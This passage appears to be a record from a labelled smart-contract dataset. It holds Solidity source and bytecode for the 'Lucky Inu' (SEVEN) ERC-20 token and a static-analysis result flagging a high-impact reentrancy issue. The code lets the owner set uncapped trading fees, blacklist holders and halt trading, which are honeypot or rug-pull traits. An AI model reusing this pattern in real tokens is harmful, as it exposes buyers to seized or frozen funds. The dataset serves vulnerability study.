_marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function swap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function setmaxTx(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e1461055d578063ea1644d5146105a3578063f2fde38b146105c3578063fc342279146105e357600080fd5b8063b0c2b561146104d8578063bfd79284146104f8578063c3c8cd8014610528578063c492f0461461053d57600080fd5b806395d89b41116100d157806395d89b411461044b57806398a5c31514610478578063a2a957bb14610498578063a9059cbb146104b857600080fd5b80638da5cb5b146103f75780638f70ccf7146104155780638f9a55c01461043557600080fd5b8063313ce5671161016f57806370a082311161013e57806370a082311461037f578063715018a61461039f5780637d1db4a5146103b45780637f2feddc146103ca57600080fd5b8063313ce5671461030e57806349bd5a5e1461032a5780636b9990531461034a5780636fc3eaec1461036a57600080fd5b80631694505e116101ab5780631694505e1461027b57806318160ddd146102b357806323b872dd146102d85780632fd689e3146102f857600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024b57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611967565b610603565b005b34801561020a57600080fd5b506040805180820190915260128152712820aa2a22a92220a622902a22a92924a2a960711b60208201525b6040516102429190611a2c565b60405180910390f35b34801561025757600080fd5b5061026b610266366004611a81565b6106a2565b6040519015158152602001610242565b34801561028757600080fd5b5060145461029b906001600160a01b031681565b6040516001600160a01b039091168152602001610242565b3480156102bf57600080fd5b50678ac7230489e800005b604051908152602001610242565b3480156102e457600080fd5b5061026b6102f3366004611aad565b6106b9565b34801561030457600080fd5b506102ca60185481565b34801561031a57600080fd5b5060405160098152602001610242565b34801561033657600080fd5b5060155461029b906001600160a01b031681565b34801561035657600080fd5b506101fc610365366004611aee565b610722565b34801561037657600080fd5b506101fc61076d565b34801561038b57600080fd5b506102ca61039a366004611aee565b6107b8565b3480156103ab57600080fd5b506101fc6107da565b3480156103c057600080fd5b506102ca60165481565b3480156103d657600080fd5b506102ca6103e5366004611aee565b60116020526000908152604090205481565b34801561040357600080fd5b506000546001600160a01b031661029b565b34801561042157600080fd5b506101fc610430366004611b1b565b61084e565b34801561044157600080fd5b506102ca60175481565b34801561045757600080fd5b506040805180820190915260048152631410551560e21b6020820152610235565b34801561048457600080fd5b506101fc610493366004611b36565b610896565b3480156104a457600080fd5b506101fc6104b3366004611b4f565b6108c5565b3480156104c457600080fd5b5061026b6104d3366004611a81565b610903565b3480156104e457600080fd5b506101fc6104f3366004611b36565b610910565b34801561050457600080fd5b5061026b610513366004611aee565b60106020526000908152604090205460ff1681565b34801561053457600080fd5b506101fc61093f565b34801561054957600080fd5b506101fc610558366004611b81565b610993565b34801561056957600080fd5b506102ca610578366004611c05565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105af57600080fd5b506101fc6105be366004611b36565b610a34565b3480156105cf57600080fd5b506101fc6105de366004611aee565b610a63565b3480156105ef57600080fd5b506101fc6105fe366004611b1b565b610b4d565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c3e565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c73565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611c9f565b915050610639565b5050565b60006106af338484610b95565b5060015b92915050565b60006106c6848484610cb9565b610718843361071385604051806060016040528060288152602001611db9602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f5565b610b95565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c3e565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b031614806107a257506013546001600160a01b0316336001600160a01b0316145b6107ab57600080fd5b476107b58161122f565b50565b6001600160a01b0381166000908152600260205260408120546106b390611269565b6000546001600160a01b031633146108045760405162461bcd60e51b815260040161062d90611c3e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108785760405162461bcd60e51b815260040161062d90611c3e565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161062d90611c3e565b601855565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161062d90611c3e565b600893909355600a91909155600955600b55565b60006106af338484610cb9565b6000546001600160a01b0316331461093a5760405162461bcd60e51b815260040161062d90611c3e565b601655565b6012546001600160a01b0316336001600160a01b0316148061097457506013546001600160a01b0316336001600160a01b0316145b61097d57600080fd5b6000610988306107b8565b90506107b5816112ed565b6000546001600160a01b031633146109bd5760405162461bcd60e51b815260040161062d90611c3e565b60005b82811015610a2e5781600560008686858181106109df576109df611c73565b90506020020160208101906109f49190611aee565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2681611c9f565b9150506109c0565b50505050565b6000546001600160a01b03163314610a5e5760405162461bcd60e51b815260040161062d90611c3e565b601755565b6000546001600160a01b03163314610a8d5760405162461bcd60e51b815260040161062d90611c3e565b6001600160a01b038116610af25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b775760405162461bcd60e51b815260040161062d90611c3e565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b156110ee57601554600160a01b900460ff16610ea6576000546001600160a01b03848116911614610ea65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601654811115610ef85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3a57506001600160a01b03821660009081526010602052604090205460ff16155b610f925760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062d565b6015546001600160a01b038381169116146110175760175481610fb4846107b8565b610fbe9190611cba565b106110175760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062d565b6000611022306107b8565b60185460165491925082101590821061103b5760165491505b8080156110525750601554600160a81b900460ff16155b801561106c57506015546001600160a01b03868116911614155b80156110815750601554600160b01b900460ff165b80156110a657506001600160a01b03851660009081526005602052604090205460ff16155b80156110cb57506001600160a01b03841660009081526005602052604090205460ff16155b156110eb576110d9826112ed565b4780156110e9576110e94761122f565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113057506001600160a01b03831660009081526005602052604090205460ff165b8061116257506015546001600160a01b0385811691161480159061116257506015546001600160a01b03848116911614155b1561116f575060006111e9565b6015546001600160a01b03858116911614801561119a57506014546001600160a01b03848116911614155b156111ac57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d757506014546001600160a01b03858116911614155b156111e957600a54600c55600b54600d555b610a2e84848484611476565b600081848411156112195760405162461bcd60e51b815260040161062d9190611a2c565b5060006112268486611cd2565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069e573d6000803e3d6000fd5b60006006548211156112d05760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062d565b60006112da6114a4565b90506112e683826114c7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133557611335611c73565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138957600080fd5b505afa15801561139d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c19190611ce9565b816001815181106113d4576113d4611c73565b6001600160a01b0392831660209182029290920101526014546113fa9130911684610b95565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611433908590600090869030904290600401611d06565b600060405180830381600087803b15801561144d57600080fd5b505af1158015611461573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061148357611483611509565b61148e848484611537565b80610a2e57610a2e600e54600c55600f54600d55565b60008060006114b161162e565b90925090506114c082826114c7565b9250505090565b60006112e683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061166e565b600c541580156115195750600d54155b1561152057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115498761169c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157b90876116f9565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115aa908661173b565b6001600160a01b0389166000908152600260205260409020556115cc8161179a565b6115d684836117e4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161b91815260200190565b60405180910390a3505050505050505050565b6006546000908190678ac7230489e8000061164982826114c7565b82101561166557505060065492678ac7230489e8000092509050565b90939092509050565b6000818361168f5760405162461bcd60e51b815260040161062d9190611a2c565b5060006112268486611d77565b60008060008060008060008060006116b98a600c54600d54611808565b92509250925060006116c96114a4565b905060008060006116dc8e87878761185d565b919e509c509a509598509396509194505050505091939550919395565b60006112e683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f5565b6000806117488385611cba565b9050838110156112e65760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062d565b60006117a46114a4565b905060006117b283836118ad565b306000908152600260205260409020549091506117cf908261173b565b30600090815260026020526040902055505050565b6006546117f190836116f9565b600655600754611801908261173b565b6007555050565b6000808080611822606461181c89896118ad565b906114c7565b90506000611835606461181c8a896118ad565b9050600061184d826118478b866116f9565b906116f9565b9992985090965090945050505050565b600080808061186c88866118ad565b9050600061187a88876118ad565b9050600061188888886118ad565b9050600061189a8261184786866116f9565b939b939a50919850919650505050505050565b6000826118bc575060006106b3565b60006118c88385611d99565b9050826118d58583611d77565b146112e65760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062d565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107b557600080fd5b803561196281611942565b919050565b6000602080838503121561197a57600080fd5b823567ffffffffffffffff8082111561199257600080fd5b818501915085601f8301126119a657600080fd5b8135818111156119b8576119b861192c565b8060051b604051601f19603f830116810181811085821117156119dd576119dd61192c565b6040529182528482019250838101850191888311156119fb57600080fd5b938501935b82851015611a2057611a1185611957565b84529385019392850192611a00565b98975050505050505050565b600060208083528351808285015260005b81811015611a5957858101830151858201604001528201611a3d565b81811115611a6b576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9457600080fd5b8235611a9f81611942565b946020939093013593505050565b600080600060608486031215611ac257600080fd5b8335611acd81611942565b92506020840135611add81611942565b929592945050506040919091013590565b600060208284031215611b0057600080fd5b81356112e681611942565b8035801515811461196257600080fd5b600060208284031215611b2d57600080fd5b6112e682611b0b565b600060208284031215611b4857600080fd5b5035919050565b60008060008060808587031215611b6557600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9657600080fd5b833567ffffffffffffffff80821115611bae57600080fd5b818601915086601f830112611bc257600080fd5b813581811115611bd157600080fd5b8760208260051b8501011115611be657600080fd5b602092830195509350611bfc9186019050611b0b565b90509250925092565b60008060408385031215611c1857600080fd5b8235611c2381611942565b91506020830135611c3381611942565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb357611cb3611c89565b5060010190565b60008219821115611ccd57611ccd611c89565b500190565b600082821015611ce457611ce4611c89565b500390565b600060208284031215611cfb57600080fd5b81516112e681611942565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d565784516001600160a01b031683529383019391830191600101611d31565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db357611db3611c89565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122082f8efcf08d2b6e6f65291040ca7696e17e5b7288f655babaa1a2d9d35c0761364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,161
0xab458ed91c83d065ffd29f986d0f50762a02095a
// SPDX-License-Identifier: Unlicensed //SEVEN //Lucky inu //Rainbow: 7 //Week: 7 //Note: 7 //Continent: 7 //Ph: 7 //May all have their own lucky "7". //777,777,777,777 //7,777,777,777 //Liq 7 pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SEVEN is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Lucky Inu"; string private constant _symbol = "SEVEN"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 777777777777 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 7; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 7; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xc051Ffe28c4440242a66B7fA56ACc317d1C7A62b); address payable private _marketingAddress = payable(0xc051Ffe28c4440242a66B7fA56ACc317d1C7A62b); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 7777777777 * 10**9; uint256 public _maxWalletSize = 7777777777 * 10**9; uint256 public _swapTokensAtAmount = 77777 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
